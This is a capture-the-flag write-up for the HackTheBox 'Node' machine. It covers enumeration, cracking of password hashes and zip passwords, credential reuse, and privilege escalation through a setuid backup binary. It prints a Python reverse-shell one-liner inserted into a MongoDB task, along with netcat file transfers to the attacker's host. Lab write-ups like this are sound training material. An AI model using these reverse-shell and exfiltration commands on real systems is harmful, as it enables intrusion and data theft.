HackTheBox Write-Up — Node

Bradley Fell, @FellSEC
8 min readAug 19, 2020

--

Node is a machine that exclaims the importance of a password-reuse policy in enterprise environments.

nmap -T4 -p- 10.10.10.58Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-14 12:10 EDT
Nmap scan report for 10.10.10.58
Host is up (0.012s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 89.07 seconds

Our initial scan shows us that port 22 and 3000 are open.

nmap -T4 -p22,3000 -A 10.10.10.58Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-14 12:11 EDT
Nmap scan report for 10.10.10.58
Host is up (0.010s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open http Node.js Express framework
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 9.29 ms 10.10.14.1
2 9.28 ms 10.10.10.58
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds

The SSH version doesn’t pop anything useful, let’s enumerate port 3000 as it looks like it’s running a web server.

http://10.10.10.58:3000

This is interesting…

Viewing the source of this page we find this html code at the bottom.

After having a look at these scripts, the /home.js gives us the following code:

var controllers = angular.module('controllers');controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});

http://10.10.10.58/api/users/latest

[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

We find some usernames and password hash combinations, non of these users have administrative rights.

Just as we found this page from the /home.js script, the /profile.js tips us off to a page as well.

var controllers = angular.module('controllers');controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
$http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
}, function (res) {
$scope.hasError = true;
if (res.status == 404) {
$scope.errorMessage = 'This user does not exist';
}
else {
$scope.errorMessage = 'An unexpected error occurred';
}
});
});

Jackpot! We find the hashed administrator credentials via http://10.10.10.58/api/users/

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

All hashes are found below:

dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0

By throwing them into https://crackstation.net we are able to crack most of them, including the administrator account.

myP14ceAdm1nAcc0uNT | manchester

Download the backup after logging in to http://10.10.10.58:3000 with the admin credentials.

Taking a look at the file in our working directory, it shows that the file might be encoded with Base64.

cat myplace.backup

Decode and append the result to a file named “decode” with the following syntax:

base64 --decode myplace.backup > decode

It appears to be a zip file!

file decode

I tried to unzip the file, but the file is password protected.

unzip decode

Crack the password using fcrackzip:

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt decode

magicword

After decompression, we find that we are left with a backup of /var/www/.

Within /var/www/myplace/app.js we find mongodb credentials.

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

This machine is vulnerable to a password reuse attack, we can use these credentials to ssh into Mark’s account.

ssh mark@10.10.10.58

mark:5AYRft73VtFpc84k

We do not have permission to view the user.txt with our current foothold.

locate user.txtcat /home/tom/user.txt

We’re going to need to escalate privileges. Let’s move LinEnum.sh to our working directory, and then download the script to the victim’s /tmp directory by hosting a simple HTTP server on our local machine.

cp /opt/LinEnum.sh .python3 -m http.server 80
Moving the script on our local machine to our working directory, and using Python to setup an “http.server”

On the victim machine change directory to /tmp and download the script.

cd /tmpwget 10.10.14.10/LinEnum.sh

Run the script after giving it executable permissions.

chmod +x LinEnum.sh./LinEnum.sh

Port 27017 shows that mongodb is listening locally, we weren’t able to see this port open from the outside.

Depicted above are the only processes being run by Tom.

/usr/bin/node is Node.js compiling the files /var/www/myplace/app.js and /var/scheduler/app.js. Since we are already familiar with /var/www/myplace/app.js, let’s have a look at /var/scheduler/app.js.

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

We find a script similar to the one we found before. What we’ve found is another database named scheduler.

Let’s connect to it using the above credentials.

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

Here we add a document in MongoDB that sends a reverse shell back to our machine.

db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.10\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})

You can check to see if it was added correctly with:

db.tasks.find()

Setup a listener on your local machine.

nc -nlvp 1234

How to upgrade to a fully interactive shell:

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Background the session

(CTRL+ Z)stty raw -echo

Type “fg”:

fg

Press enter a few times.

From here we can grab the user.txt flag.

locate user.txtcat /home/tom/user.txt

Running the Linux Enumeration Script again with our new user ID, we find a backup file.

When we were logged in as Mark, we did not have the proper permissions.
-rwsr-xr-- 1 root admin 16484 Sep  3  2017 /usr/local/bin/backup

Within /var/www/myplace/app.js, we find the following:

const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
backup += chunk;

The file appears to be an executable, let’s try to run it.

./backup

This does not work, let’s use “strings.”

strings backup

Appears we have an encoded backup of possibly… the /root directory?!

Above within the /var/www/myplace/app.js script there was a backup key and a mentioning of our designated file.

cat /var/www/myplace/app.js | grep -i backup_key
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';                                              
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);

The file takes in the following arguments: -q, backup_key, and __dirname.

Let’s try to run the file and pass -q, backup_key, and the /root/root.txt file.

backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt

We get back what looks like a Base64 encoded output. Let’s copy and pipe the output to a file

echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" > /tmp/encoded

Now we are going to pass the encoded file to base64, and pipe the output to another file named “decoded”.

base64 --decode /tmp/encoded > /tmp/decoded

We have a zip file!

file /tmp/decoded

We are unable to unzip this file on the victim machine, we‘ll need to transfer this file to our local machine.

Local machine:

nc -nlvp 4444 > decoded

Victim machine:

nc 10.10.14.10 4444 < /tmp/decoded

This file is password protected, let’s use “magicword” from before.

magicword

Using ltrace we found that this program is filtering directory paths.

ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt

Let’s try to grab the root.txt file again, but change /root/root.txt to /r**t/r**t.txt by implementing a wildcard.

backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt

The output is noticeably different!

Let’s pipe this output to a file.

backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > /tmp/encoded

We will decode this:

base64 --decode /tmp/encoded > /tmp/decoded

This is a zip file, let’s move it to our host machine again and unzip the file!

file /tmp/decoded

Local machine:

nc -nlvp 4444 > decoded

Victim machine:

nc 10.10.14.10 4444 < /tmp/decoded

Using the same password “magicword” — we have the root flag.

--

--